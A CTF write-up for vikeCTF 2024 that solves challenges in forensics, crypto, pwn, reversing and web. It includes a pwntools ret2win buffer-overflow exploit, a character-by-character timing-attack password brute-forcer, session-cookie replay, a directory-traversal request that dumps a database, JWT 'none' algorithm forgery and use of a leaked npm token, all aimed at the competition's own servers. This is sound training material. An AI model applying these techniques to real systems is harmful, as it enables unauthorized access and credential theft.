My buddy Erik wants to play Minecraft so I set up a server for us to play on. I've committed my configuration to GitHub because it's so convenient! Can you make sure that everything is secure?
python github_scanner.py VikeSec/vikeCTF-2024-minecraft-server 2 β¨―
Found these dangling commits, which were in the eventlog and are not in the history anymore:
https://github.com/VikeSec/vikeCTF-2024-minecraft-server/commit/7848986100022bda192193080a0ca28b99f03a26
https://github.com/VikeSec/vikeCTF-2024-minecraft-server/commit/7df8e2b9c6397b7e01e090be86dfb79b37e0d2f9
https://github.com/VikeSec/vikeCTF-2024-minecraft-server/commit/0fae838eaeceab86a257dc5217925c2eadae77a0
https://github.com/VikeSec/vikeCTF-2024-minecraft-server/commit/551a06d75f125b246a838b48dbe6a768f36b8708
https://github.com/VikeSec/vikeCTF-2024-minecraft-server/commit/0e75235ac87b1fad5cbf4ba75adc963d67ae1cc9
https://github.com/VikeSec/vikeCTF-2024-minecraft-server/commit/4d9eca4780cd2fb41caa63c471f8352515adeb42
https://github.com/VikeSec/vikeCTF-2024-minecraft-server/commit/2bea5b90298ad8b0cef39990d2a772bbb1b64c5f
Click the first link to see the flag.
Silly Software (28 solves)
Description:
We're Silly Software, and we like bringing the Fun back into devops! We've decided that we're going to start distributing our software as Docker images, because that seems like the most fun! I hope nothing goes wrong :)
docker run public.ecr.aws/d8p5p1v7/vikectf2024/silly-software:latest
Solution:
First get the container source by running the following commands:
docker pull public.ecr.aws/d8p5p1v7/vikectf2024/silly-software:latest
docker save public.ecr.aws/d8p5p1v7/vikectf2024/silly-software --output files.tar
In files.tar, there is a set of layer tarballs. Grep for vikectf to see which have the silly-software plugin and there are two. In the one starting with ab24, there is a hidden file called .npmrc with the following auth token.
We can now download the-flag-101.tar.gz that we see downloaded and deleted in the initial docker build.
import requestspackage_url ='https://npm.fury.io/vikectf2024/~/up/ver_26bVeh/the-flag-1.0.1.tgz'auth_token ='1eQ1zm-z4DK23Kwc2Lwmb8guqepX3fQKc'# Set up the headers for authenticationheaders ={'Authorization':f'Bearer {auth_token}'}# Make the request to download the packageresponse = requests.get(package_url, headers=headers)# Check if the request was successfulif response.status_code ==200:# Save the content to a file filename ='the-flag-1.0.1.tgz'withopen(filename, 'wb')as file: file.write(response.content)print(f'Successfully downloaded {filename}')else:print(f'Failed to download the package. Status code: {response.status_code}')
After extracting the tar, we get the flag.
export const flag = "vikeCTF{p33L_1t_L1k3_4N_0n1oN}"
Cryptography
Norse Cryptogram (170 solves)
Description:
Delve into the realm of Norse mythology and unlock the secrets of the runic script in this cryptic challenge. Armed with your wits and keen eye, decrypt the ancient messages hidden within the runes. Will you prove yourself worthy of Odin's wisdom or fall prey to the tricks of Loki? Prepare to embark on a journey through Viking lore as you unravel the Runebound Riddles!
Solution:
This is just a cyberchef skillcheck. Next to the "Output" title, there is a wand that shows up to make suggestions and provides many of these.
Deep Cover (145 solves)
Description:
As the Viking ship sailed across the vast North Sea, its crew encountered unexpected turbulence in the form of a message. Amidst the rugged expanse of the waters, a messenger bird descended, bearing a weather report inscribed in Cyrillic script. With furrowed brows, the Norsemen deciphered the ominous tidings, seeking the hidden meaning within.
Solution:
Quipqiup for autosolving mono-alphabetic substitution ciphers.
Quantum Keygen Quest (16 solves)
Description:
Gather 'round, ye stout-hearted souls, for within these sacred gates lie the keys to unlock the mysteries of the cosmos. Let not the symbols deceive thee, for they hold the power to unravel the very fabric of reality itself.
With nimble fingers and minds sharp as MjΓΆlnir's edge, apply the ancient enchantments to thy ciphered scrolls. Dance with the shadows of uncertainty, for it is within the darkness that the true light of knowledge shall be revealed.
As the stars guide our course through the endless expanse, let us embark on this odyssey with courage in our hearts and the spirit of adventure blazing in our souls. For today, we embark on a voyage beyond the realms of mortal comprehension. Today, we harness the power of the quantum seas and emerge victorious, as legends of old. SkΓ‘l!
Solution:
Here is the challenge.
Astrid conjured this pattern: 01100010111001000111100110110101011100011110101000001111010000110010001110011001010001001001011011001010100010110001110010111110110111000110000110101111001100000111011100101001110101010001000111101010011110101100000100000001110100111110100111111000101100000010001010000111010010100110001001011001110011011101010101000100100010010000111100111010101010011000100111011110101001011011010011010100100011111110011100110010111010001111101000011010001100100110010011100110000110001101110100001110110100111010000010000001111000111111011111010011111000100111000110000101100010101001010010000000010110101110000011000111101010111101100111000100111100100001111110011110011111111010000010010010001001010011011111000010101110110100111001000100100011000111110101110110111010111101010000100110110001110010101101001001011001011010101110001001011001010100100011011111011101000001100000000100000101010100101110101100111000100010001101010111001101010001010000001110101100100010001101100101010001001100101000010011100111111011100111101010011011010110011000111010101010000000000111100111000111011101111001101010
Astrid enacted these enchantments: HXHXXXHXXXXXXHHXHHXXHHXXXHHHXHHHHXHXXXHXXXHXXXHHXHXHXXHXHHXXXXXXXXHXXXHXXXHXXXHHHXHHHXXXHHXXHHXXXHXXHHXXHXHHXXHXXXHHXHHXXHHHHXHHXHXXXHHHHHXXHXHXHXHXHXXXXXHXXXXXXHHHXXXXXXHXHHXHXHXXHHHXXXHHHXHXHHHXHHXHHHHHHXHXXHHXHHHXHHXHHXHHXXXXHHXHHXHHHHXXXXXXXXXHHHXXXXHXHXXXHHHHXHXHHXHHXHHXXHXHHHHHXXHHHHXHXXXXHXXHHXHHHXXHXHXXHXHHXHHXHHXHXXXHXHXHXHXHXXHXXHHXHHXHXXXHXHXHHHXHXHXHXXHHHHHHXXHHHXXHXHHHHXXHHHXHHXXHXHHXHHXXXXXHHHXXHHHXHHXXHXXHHXXXHXHXHXXXHXXHXXXHHXXXHHHHXXXHHHHHHHXHXXXHHHXHHHHXHXHHHXHXHHHHXHHHXHXHXXXXHXHHHXHHHXHXHHXHXXHXXXXHHHXHHHXHHHHHHHXXXHHHHXXHHHHHXXXHHXHXHHHXHXHXHXHHXXXXHXXXHHHHXHHHXXXXXHHXHHHXHHHXHXXHXHXXXHXHHHXHXHXXHHHXXXHXHXHXHHHXHXXHHHHXXXXXHHHHXXXXHHHHXHHXHXXXHXHHXHXXXXXXXHXXXXXXHXXXHHXXXHHHHXHXXXHXXHHHXXHXXXHXXHHHHXHHXHHHHXXHHHHXXXXHXHHHXXXXXHHHHXXHXHHHXHHXXHXXXHHHXHXHHXHHHXXXHXHXHHXHHXXXXHHXHXXXHHXXXXXHHHXHXXHXHXHHXXHHXXXXXXXHHXXXHHHXXXXHXHHXHXXHHHHXXHXXXXHXXXHXXXXHXXXHHHHXHXHHHHHHHXXXXHHHXXHHHHHHHHXXXXXXXXHXXHHXXHHHHXXHHXXHXHXHHHXHXHXXXXXXHXHHHXXHHHHHHXXHHXXXXXXHXHXXHXHHHHHHXXHXXHXHXXHHHXXHXHHHXHXXHHHXXHXHHHHHXHHHXHHHXHXHXHXXXXHXHXXHHHXXHXXXXHXXHXXHXXXHXHHHHHXHXXHH
Bjorn wielded his own set of enchantments: XHXHHXXHXHXHHXXHXXHXXHHHXXXHXXHHXHXXXHXHHHXHXXXXHXHXHHXHXXHHHXXHHHXHHXXHHHXHXHXHXHHXXXHHXHHHXXHHHXHHXXHHXHXXHHHXHXXHHXXHXHXXXHXHHXHXHXXXHHHHXHHXXXXXXHHHHXXHHHHHXHHXHHHHHXHXHXXXHXHXXXXHXXXXHHXHHXXXXHHHXHXHXHXHHXXHHXXHXXHXHHXXXHHHXXXXHHXXXXHHHHHXHXHXXXXXHHXHXHHHXHXXXXHXXHXXXHXHHHHXHXXXXHHXXXXXXHHHXHHXXHXXXHXHXXHHXXHXHHXHXXXXHHXXHXHXXXHHXHXXHHXHXHHHXHHXHHHXXHHHXXHXXHXXXXXXHHXXXXHXXXHXXXHHHXHXHHHXHXXXXXXXHHXXXHHXXXXXHXHHXHXXXHHHXHHHHHHHHXHXHXXXXHHHXXHXXHHXXXHHXXXHHHHXHXHXHXXHXHXXXHXHHHXXXXHXHXHXXXHHHHHHXHXXXHXHHHHHXHXHHHHXXHHXXXHHHHXXXXHXHHXXHHXXXHHHXHXXXXXHXHXHXHXHHHHHXHHXXXHHXXXXXXXXHXHHHXHHXXXXHXHHXHHHHHHHXXHXXXXXHHHHXXXHHHXHXXHHXXXHHHHXXHHHHHHXXXXHXHXHHXXXHXXXXXHHXXXHHHXHHXHHHXXXHHHHXXHHXHHHHHXHXXHHHHHHHXHXXHXHHXXHXXHXHHXHHXXXXHHXHXXHHHHXHHHXXHHHHXXXXHHHHXXHHXXXHHHHHHHXXXHXXHXXXXXHHHHHHXHXXXHXHXXHHXHHXXXHHHXXXXHHHHXXXHXXHXXXHHHHHXHXXHXHXXXXHXHHHXXHHHXXXHXXHXHHXHXHHXXHHXXXHHHXXXXHXHXHHHXHXHHXHXXHXXXXHHXXXHHHHHHHXHHHHXXHHXXXHHHXXHHHHXHXXHHHHXXHHHHHXHHXXHXXXXXHXHHHXXHHHHHXXXHHXHXXHXXXHHHHXXHHHHXXXHXXHXXXHXHHXXHHHHHXXXXXHXXXHXXXHXHXHXHHHHXHXHHXXXHHXHHHHXHHXHHXHHHXHXXXXXHXHHXX
What, then, is the secret they now share, bound by the threads of fate and the mysteries of the cosmos?
After some research into quantum keys (referencing title), we see this Wikipedia page.
Basically, the shared secret key is whenever Alice and Bob match, the bit is used in the original pattern. The H and X also look like the + and x so we know we're on the right track. Here is the solve script.
deffilter_pattern_based_on_enchantments(pattern,enchantment1,enchantment2): filtered_result =""for i inrange(len(pattern)):if i <len(enchantment1)and i <len(enchantment2):if enchantment1[i]== enchantment2[i]:# Check if the enchantments agree at position i filtered_result += pattern[i]# Append the bit from the pattern if the enchantments agreereturn filtered_resultastrid_pattern = "01100010111001000111100110110101011100011110101000001111010000110010001110011001010001001001011011001010100010110001110010111110110111000110000110101111001100000111011100101001110101010001000111101010011110101100000100000001110100111110100111111000101100000010001010000111010010100110001001011001110011011101010101000100100010010000111100111010101010011000100111011110101001011011010011010100100011111110011100110010111010001111101000011010001100100110010011100110000110001101110100001110110100111010000010000001111000111111011111010011111000100111000110000101100010101001010010000000010110101110000011000111101010111101100111000100111100100001111110011110011111111010000010010010001001010011011111000010101110110100111001000100100011000111110101110110111010111101010000100110110001110010101101001001011001011010101110001001011001010100100011011111011101000001100000000100000101010100101110101100111000100010001101010111001101010001010000001110101100100010001101100101010001001100101000010011100111111011100111101010011011010110011000111010101010000000000111100111000111011101111001101010"
astrid_enchantments = "HXHXXXHXXXXXXHHXHHXXHHXXXHHHXHHHHXHXXXHXXXHXXXHHXHXHXXHXHHXXXXXXXXHXXXHXXXHXXXHHHXHHHXXXHHXXHHXXXHXXHHXXHXHHXXHXXXHHXHHXXHHHHXHHXHXXXHHHHHXXHXHXHXHXHXXXXXHXXXXXXHHHXXXXXXHXHHXHXHXXHHHXXXHHHXHXHHHXHHXHHHHHHXHXXHHXHHHXHHXHHXHHXXXXHHXHHXHHHHXXXXXXXXXHHHXXXXHXHXXXHHHHXHXHHXHHXHHXXHXHHHHHXXHHHHXHXXXXHXXHHXHHHXXHXHXXHXHHXHHXHHXHXXXHXHXHXHXHXXHXXHHXHHXHXXXHXHXHHHXHXHXHXXHHHHHHXXHHHXXHXHHHHXXHHHXHHXXHXHHXHHXXXXXHHHXXHHHXHHXXHXXHHXXXHXHXHXXXHXXHXXXHHXXXHHHHXXXHHHHHHHXHXXXHHHXHHHHXHXHHHXHXHHHHXHHHXHXHXXXXHXHHHXHHHXHXHHXHXXHXXXXHHHXHHHXHHHHHHHXXXHHHHXXHHHHHXXXHHXHXHHHXHXHXHXHHXXXXHXXXHHHHXHHHXXXXXHHXHHHXHHHXHXXHXHXXXHXHHHXHXHXXHHHXXXHXHXHXHHHXHXXHHHHXXXXXHHHHXXXXHHHHXHHXHXXXHXHHXHXXXXXXXHXXXXXXHXXXHHXXXHHHHXHXXXHXXHHHXXHXXXHXXHHHHXHHXHHHHXXHHHHXXXXHXHHHXXXXXHHHHXXHXHHHXHHXXHXXXHHHXHXHHXHHHXXXHXHXHHXHHXXXXHHXHXXXHHXXXXXHHHXHXXHXHXHHXXHHXXXXXXXHHXXXHHHXXXXHXHHXHXXHHHHXXHXXXXHXXXHXXXXHXXXHHHHXHXHHHHHHHXXXXHHHXXHHHHHHHHXXXXXXXXHXXHHXXHHHHXXHHXXHXHXHHHXHXHXXXXXXHXHHHXXHHHHHHXXHHXXXXXXHXHXXHXHHHHHHXXHXXHXHXXHHHXXHXHHHXHXXHHHXXHXHHHHHXHHHXHHHXHXHXHXXXXHXHXXHHHXXHXXXXHXXHXXHXXXHXHHHHHXHXXHH"
bjorn_enchantments = "XHXHHXXHXHXHHXXHXXHXXHHHXXXHXXHHXHXXXHXHHHXHXXXXHXHXHHXHXXHHHXXHHHXHHXXHHHXHXHXHXHHXXXHHXHHHXXHHHXHHXXHHXHXXHHHXHXXHHXXHXHXXXHXHHXHXHXXXHHHHXHHXXXXXXHHHHXXHHHHHXHHXHHHHHXHXHXXXHXHXXXXHXXXXHHXHHXXXXHHHXHXHXHXHHXXHHXXHXXHXHHXXXHHHXXXXHHXXXXHHHHHXHXHXXXXXHHXHXHHHXHXXXXHXXHXXXHXHHHHXHXXXXHHXXXXXXHHHXHHXXHXXXHXHXXHHXXHXHHXHXXXXHHXXHXHXXXHHXHXXHHXHXHHHXHHXHHHXXHHHXXHXXHXXXXXXHHXXXXHXXXHXXXHHHXHXHHHXHXXXXXXXHHXXXHHXXXXXHXHHXHXXXHHHXHHHHHHHHXHXHXXXXHHHXXHXXHHXXXHHXXXHHHHXHXHXHXXHXHXXXHXHHHXXXXHXHXHXXXHHHHHHXHXXXHXHHHHHXHXHHHHXXHHXXXHHHHXXXXHXHHXXHHXXXHHHXHXXXXXHXHXHXHXHHHHHXHHXXXHHXXXXXXXXHXHHHXHHXXXXHXHHXHHHHHHHXXHXXXXXHHHHXXXHHHXHXXHHXXXHHHHXXHHHHHHXXXXHXHXHHXXXHXXXXXHHXXXHHHXHHXHHHXXXHHHHXXHHXHHHHHXHXXHHHHHHHXHXXHXHHXXHXXHXHHXHHXXXXHHXHXXHHHHXHHHXXHHHHXXXXHHHHXXHHXXXHHHHHHHXXXHXXHXXXXXHHHHHHXHXXXHXHXXHHXHHXXXHHHXXXXHHHHXXXHXXHXXXHHHHHXHXXHXHXXXXHXHHHXXHHHXXXHXXHXHHXHXHHXXHHXXXHHHXXXXHXHXHHHXHXHHXHXXHXXXXHHXXXHHHHHHHXHHHHXXHHXXXHHHXXHHHHXHXXHHHHXXHHHHHXHHXXHXXXXXHXHHHXXHHHHHXXXHHXHXXHXXXHHHHXXHHHHXXXHXXHXXXHXHHXXHHHHHXXXXXHXXXHXXXHXHXHXHHHHXHXHHXXXHHXHHHHXHHXHHXHHHXHXXXXXHXHHXX"
resulting_output =filter_pattern_based_on_enchantments(astrid_pattern, astrid_enchantments, bjorn_enchantments)print(resulting_output)# 01110110011010010110101101100101010000110101010001000110011110110101000101010101001101000100111000110111010101010100110101011111010000110011000001001101010100000101010100110111001100010100111000110110010111110011000100110101010111110100001100110000001100000011000101111101# Cyberchef binary decode: vikeCTF{QU4N7UM_C0MPU71N6_15_C001}
Misc
The Usual (45 solves)
Description:
In the heart of a bustling medieval market, a burly Viking with a formidable beard and weathered armor stumbles upon a peculiar sightβa vibrant flag shop adorned with banners of every hue. Intrigued by the fluttering colors, he enters the shop, his towering frame contrasting with the delicate textiles. With a mix of curiosity and confusion, he marvels at the array of flags, pondering which one might best represent his warrior clan amidst the sea of symbols and sigils.
Connect to 35.94.129.106:3008 to find the flag
nc 35.94.129.106 3008
Solution:
Running the binary we see a shop where we have $100 and the other options cost more than what we have. Looking at the decompiled binary in ghidra (or dogbolt.org), even if we could try buying the flag, we see it won't actually call the flag function so we need to treat this as a pwn and do a ret2win.
ββ$ ./the-usual
Welcome to the flag shop!
Please make a selection:
1: A life-altering flag-themed quote, $10
2: A hand-typed, bespoke, artist's rendition of the flag, $45
3: An organic, custom-engraved flag stand, $130
4: The flag, $20,000
5: Exit
Your balance is $100
What would you like to buy? (1-5) 3
How many would you like? 2147483648
What would you like your flag stand to say? test
Great! Your organic, custom-engraved flag stand will be delivered within three to six business weeks
The decompiled output shows the data type in the check function uses int32 as the datatype so this number corresponds to -1 and lets us call the flag stand function which has a buffer overflow vulnerability. This is a pretty standard pwn challenge with most protections disabled so I'll just post the solution script and move on.
from pwn import*# Remote target detailsremote_ip ='35.94.129.106'remote_port =3008# Address of print_flag function (objdump -t ./the-usual)print_flag_addr =0x0000000000401557# Buffer size is 32 in decompiled code, generally +8 or use cyclicoffset =40# Set up the remote connectionp =remote(remote_ip, remote_port)# Set the context for the binarycontext.binary = elf =ELF('./the-usual', checksec=False)# Craft the payloadpayload =b'A'* offset # Fill the buffer up to the return addresspayload +=p64(print_flag_addr)# Overwrite the return address with print_flag# Interact with the binary to reach the vulnerable pointp.sendlineafter('What would you like to buy? (1-5)', '3')# Select option 3p.sendlineafter('How many would you like?', '2147483648')# Input to reach the vulnerable point# Send the payloadp.sendlineafter('What would you like your flag stand to say? ', payload)# Switch to interactive mode to see the outputp.interactive()# [*] Switching to interactive mode# Great! Your organic, custom-engraved flag stand will be delivered within three to six business weeks# vikeCTF{B!n@ry_Xp10!7@7!0N_X64}
Hidden Valor (90 solves)
Description:
Decode the secrets of our Viking legacy hidden within the depths of our emblem. Unveil the hidden message to reveal the path to glory!
Solution:
Stegseek then same thing as Norse Cryptogram.
ββ$ stegseek vikeCTF-logo.jpeg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: ""0.0 MB)
[i] Original filename: "haxor-cat.jpeg".
[i] Extracting to "vikeCTF-logo.jpeg.out".
ββ$ stegseek vikeCTF-logo.jpeg.out
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "" MB)
[i] Original filename: "pencil.jpeg".
[i] Extracting to "vikeCTF-logo.jpeg.out.out".
ββ$ stegseek vikeCTF-logo.jpeg.out.out
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: ""
[i] Original filename: "payload".
[i] Extracting to "vikeCTF-logo.jpeg.out.out.out".
# Payload has a base64 string, to cyberchef
Hidden Treasure (20 solves)
Description:
As the dense fog shrouded the rocky coastline, a group of fearless Vikings set sail in their sturdy longship, their eyes gleaming with anticipation. Guided by ancient maps and whispered legends, they embarked on a perilous quest in search of a fabled treasure hidden deep within uncharted lands. With the wind at their backs and the crashing waves echoing their determined hearts, they ventured forth into the unknown, ready to conquer any obstacle that stood in their way in pursuit of untold riches and glory.
We received an image of the target's computer, and we have reason to believe they know the credentials to the website.
After mounting, we see a Linux filesystem and pretty quickly find the target (35.94.129.106:3005) was visited, firefox even saved a screenshot of the login page. The logins.json isn't there so firefox didn't save the password, but the cookie is there in cookies.sqlite. We can get the cookie and then access the site with it.
βββ(kaliγΏkali)-[~/β¦/common/.mozilla/firefox/gafhcvjb.default]
ββ$ sqlite3 cookies.sqlite
SQLite version 3.44.0 2023-11-01 11:23:50
Enter ".help" for usage hints.
sqlite> .tables
moz_cookies
sqlite> SELECT name, value, host, path, expiry, isSecure, isHttpOnly FROM moz_cookies WHERE host LIKE '%35.94.129.106%';
session|6090a4914358dc1fce139aa4e11df13009c2eda2b75d35d537706d7313237389|35.94.129.106|/|1709885275|0|0
import requestsurl ='http://35.94.129.106:3005/'cookies ={'session':'6090a4914358dc1fce139aa4e11df13009c2eda2b75d35d537706d7313237389',}# Making a GET request to the URL with the cookieresponse = requests.get(url, cookies=cookies)print(response.text)#################################################### # Output####################################################<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>WINNER WINNER CHICKEN DINNER</title><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@picocss/pico@1/css/pico.min.css"></head><body><main class="container"><h1>vikeCTF{sh0rtbr3@d_c1nn@m0n_br0w53r}</h1></main></body></html>
Time to Attack (19 solves)
Description:
Under the cloak of night, a band of Vikings lies in wait amidst the dense foliage bordering a serene village. They huddle in the shadows, their breaths mingling with the chilled air as they keenly observe the settlement's defenses. Torches flicker, casting eerie shadows across the wooden palisades, while the rhythmic beat of guards' footsteps reverberates in the distance. Patiently, the Vikings bide their time, awaiting the opportune moment to unleash their ferocious onslaught upon the unsuspecting village, their anticipation sharpening with each passing heartbeat.
Connect to 35.94.129.106:3006 and enter the password
nc 35.94.129.106 3006
Solution:
The first test I did was a brute force for length but saw it took about the same time for lengths of 1-100. I then tried the same character repeated many times and saw a 0.5 delay when "d" was the first letter. Basically every time a correct letter is received by the password checker, there is a 0.5 delay. Here is the solve script.
import socketimport timeTARGET_IP ="35.94.129.106"TARGET_PORT =3006deftest_password(password):with socket.socket(socket.AF_INET, socket.SOCK_STREAM)as sock: sock.connect((TARGET_IP, TARGET_PORT))# Wait for the login prompt recv_data = sock.recv(1024) start_time = time.time() sock.sendall(password.encode() +b'\n') recv_data = sock.recv(1024) end_time = time.time() sock.close()return end_time - start_time# Initialize variablesinitial_char ='dxse'# These were the characters already found in previous iterationscorrect_password = initial_charfound =Falsebaseline_time =2# This is 0.5 times the number of characters init withthreshold =0.5# Time delay indicating a correct characterwhilenot found:for char_code inrange(32, 127):# Iterate through ASCII printable characters char =chr(char_code)# Append the current character to the last correct password guess test_pass = correct_password + char duration =test_password(test_pass)print(f"Testing Password: {test_pass}, Time: {duration:.4f} seconds")if duration - baseline_time > threshold:print(f"Found character: {char}") correct_password += char # Add the found character to the password baseline_time +=0.5# Update baseline to new longer durationbreak# Move on to the next characterif char_code ==126:# If loop completes without finding a longer duration found =True# End loop if no character causes a delay, assuming password is completeprint(f"Correct password: {correct_password}")# Took forever to run since eventually it slept for 5+ seconds per letters# Was a mix of lower case letters and numbers, entering the pass manually gives the flag
Robo Erik (18 solves)
Description:
Uh oh! It looks like there's a robot viking in our midst, what power does it have?
You'll have to join the vikeCTF Discord for this challenge, I trust that you can find the link :)
RoboErik#9494
Solution:
This is a discord bot that can print out messages from a channel if it has access to it. There are multiple plugins that allow you to see hidden discord channels, so choose one to see the following (didn't spend much time looking into it but some may violate ToS, proceed with caution) :
Only robo-37 had RoboErik allowed to see. After finding that, we can just ask RoboErik to print out the contents of that channel (right click it to copy the channel ID). RoboErik checks to make sure you have an Organizer role so create an empty discord server, add it to yourself, invite RoboErik to it, then pass it the channel ID.
Reverse
Program with Jokes (157 solves)
Description:
Unravel the enigma behind this funny program and showcase your tactical prowess like never before.
Solution:
Seems like LOLCODE code, just threw it at GPT-4, might be possible instead to execute or something.
HAI 1.2 BTW LOLCODE
I HAS A FLAG_START ITZ "vikeCTF{3S073riC_"
I HAS A FLAG_KEY ITZ "xxxxxxxxxx"
I HAS A FLAG_END ITZ "}"
I HAS A KEY ITZ A YARN
I HAS A HALO_LOL_CATZZ ITZ A BUKKIT, HALO_LOL_CATZZ HAS A CHEEZBURGER ITZ "L", HALO_LOL_CATZZ HAS A KITTEH ITZ 5, HALO_LOL_CATZZ HAS A NOM ITZ 1, HALO_LOL_CATZZ HAS A MEW ITZ "G", HALO_LOL_CATZZ HAS A HOOMAN ITZ "G", HALO_LOL_CATZZ HAS A PURRITO ITZ 7, HALO_LOL_CATZZ HAS A MEOWZART ITZ "C", HALO_LOL_CATZZ HAS A CATTITUDE ITZ "_", HALO_LOL_CATZZ HAS A PAWTY ITZ 0, HALO_LOL_CATZZ HAS A MEOWTAIN ITZ 4
VISIBLE "2 ENTR TEH HOLY LAND OV LOLCATS"
VISIBLE "U MUST KNOE TEH KEY!"
VISIBLE ""
VISIBLE "WUT IZ TEH KEY?"
GIMMEH KEY, VISIBLE "DO U LIEK LOLCATS??", GIMMEH FLAG_KEY, VISIBLE ""
DIFFRINT FLAG_KEY AN "YE", O RLY?
YA RLY
VISIBLE "U R MONSTR!"
NO WAI BTW YES WAI
BOTH SAEM KEY AN SMOOSH HALO_LOL_CATZZ'Z CHEEZBURGER HALO_LOL_CATZZ'Z PAWTY HALO_LOL_CATZZ'Z NOM HALO_LOL_CATZZ'Z MEOWZART HALO_LOL_CATZZ'Z MEOWTAIN HALO_LOL_CATZZ'Z PURRITO HALO_LOL_CATZZ'Z KITTEH HALO_LOL_CATZZ'Z CATTITUDE HALO_LOL_CATZZ'Z MEW HALO_LOL_CATZZ'Z HOOMAN MKAY, O RLY?
YA RLY
VISIBLE "CONGRATULASHUNS!! U KNOE TEH KEY!"
VISIBLE SMOOSH "KEY IS " FLAG_START KEY FLAG_END MKAY
NO WAI
VISIBLE "TEH KEY IZ WRONG"
OIC
OIC
KTHXBYE
BTW Flag: vikeCTF{3S073riC_L01C475_GG}
Blackjack (14 solves)
Description:
As I stepped into the bustling casino, the air was thick with anticipation. My eyes scanned the room until they landed on the blackjack table. Sitting across from me was the dealer, their movements precise and mechanical. With each shuffle and deal, there was something eerily robotic about them, sending a chill down my spine. Yet, I couldn't resist the allure of the cards spread out before me, beckoning me to take a chance.
nc 35.94.129.106 3002
Solution:
No code needed for this one. Looking at the decompiled binary we're given, we can see that we have to reach a balance of 100000000 and the randomness is seeded by the current time. Therefore, as long as our system clock is the same as the server's system clock, we can execute the program locally and have the same program state. Luckily, after a ntpd -q, the system time was the same so after running locally and on netcat, we can predict what the cards will be. For brevity, entering 1s on our local system will bet $1 and stand (and we can also do e.g. 1s 1s 1s to go through three rounds). Whenever we'll win, we bet our entire balance. If we lose, we still bet $1 and stand so the card states are correct. We have 50 rounds to go from $100 to $100000000 so we just need to double roughly 20 times.
Once we have enough money, we have to just finish out the remaining rounds so just enter a bunch of 1s. Here's how it looks like.
ββ$ nc 35.94.129.106 3002
welcome to blackjack!
to play, place a bet, and then hit [h] or stand [s]!
if you win big, we might have a special surprise for you...
balance: 100
place your bet: 100
you: 1h 3c (4)
house: X 5s
[h]it or [s]tand?
s
Js 5s 9s (24)
win
your hand: 1h 3c (4)
house hand: Js 5s 9s (24)
balance: 200
place your bet:
.............................
balance: 100969152
place your bet: you: 1s Kc (11)
house: X 6s
[h]it or [s]tand?
2c 6s 2d (10)
2c 6s 2d 7h (17)
lose
your hand: 1s Kc (11)
house hand: 2c 6s 2d 7h (17)
you won! congrats!
i think you dropped this: vikeCTF{h4v3_y0u_b33n_C0un71NG_c4Rd5}
Web
vikeMerch (48 solves)
Description:
Welcome to vikeMERCH, your one stop shop for Viking-themed merchandise! We're still working on our website, but don't let that stop you from browsing our high-quality items. We just know you'll love the Viking sweater vest.
The goal is to log in as admin, but we don't have a login and the password is securely generated looking at the source code. Since the input fields are safe from any kind of SQL injection and there are no cookies to play around with, the only option remaining is to try to grab the database directly.
We know the filename of the database is db.sqlite3 from seed.sh and main.go, and we know it will be one up from the assets folder that images are served from, so attempting a directory traversal attack, we are actually able to download the db.
35.94.129.106:3001/assets?id=../db.sqlite3
I was a bit lazy and just cat the database to get the username and password. After logging in, we get the flag.
ββ$ cat db.sqlite3
οΏ½οΏ½οΏ½οΏ½xοΏ½#tablelistinglistingCREATE TABLE listing (
id TEXT,
title TEXT,
description TEXT,
priceCents INTEGER,
image TEXT,
PRIMARY KEY (id)
)-Andexsqlite_autoindex_listing_1listinOοΏ½tableuseruserCREATE TABLE user (
username TEXT,
password TEXT
admina36dc27c2955d4d4ec31f351c49fc7ac63b7e98908077bd1a7f0cfce1875c03d
zhοΏ½&
# Username: admin
# Password: a36dc27c2955d4d4ec31f351c49fc7ac63b7e98908077bd1a7f0cfce1875c03d
# After login:
vikeCTF{whY_w0ulD_g0_d0_th15}
Ponies (274 solves)
Description:
OH NO, where did all these ponies come from??? Quick, get the flag and sail away before we are overrun!
All we see is a login page, and no matter what we enter as username and password, we just get the following page.
The only thing to go off of is an AUTHORIZATION cookie, that decodes in jwt.io to the following.
We can change admin to true but the website doesn't like the signature. Sometimes changing the algorithm to "None" and leaving off the signature works but jwt.io doesn't let us do that. Learning how JWTs work and trying it manually, it works and we get the flag.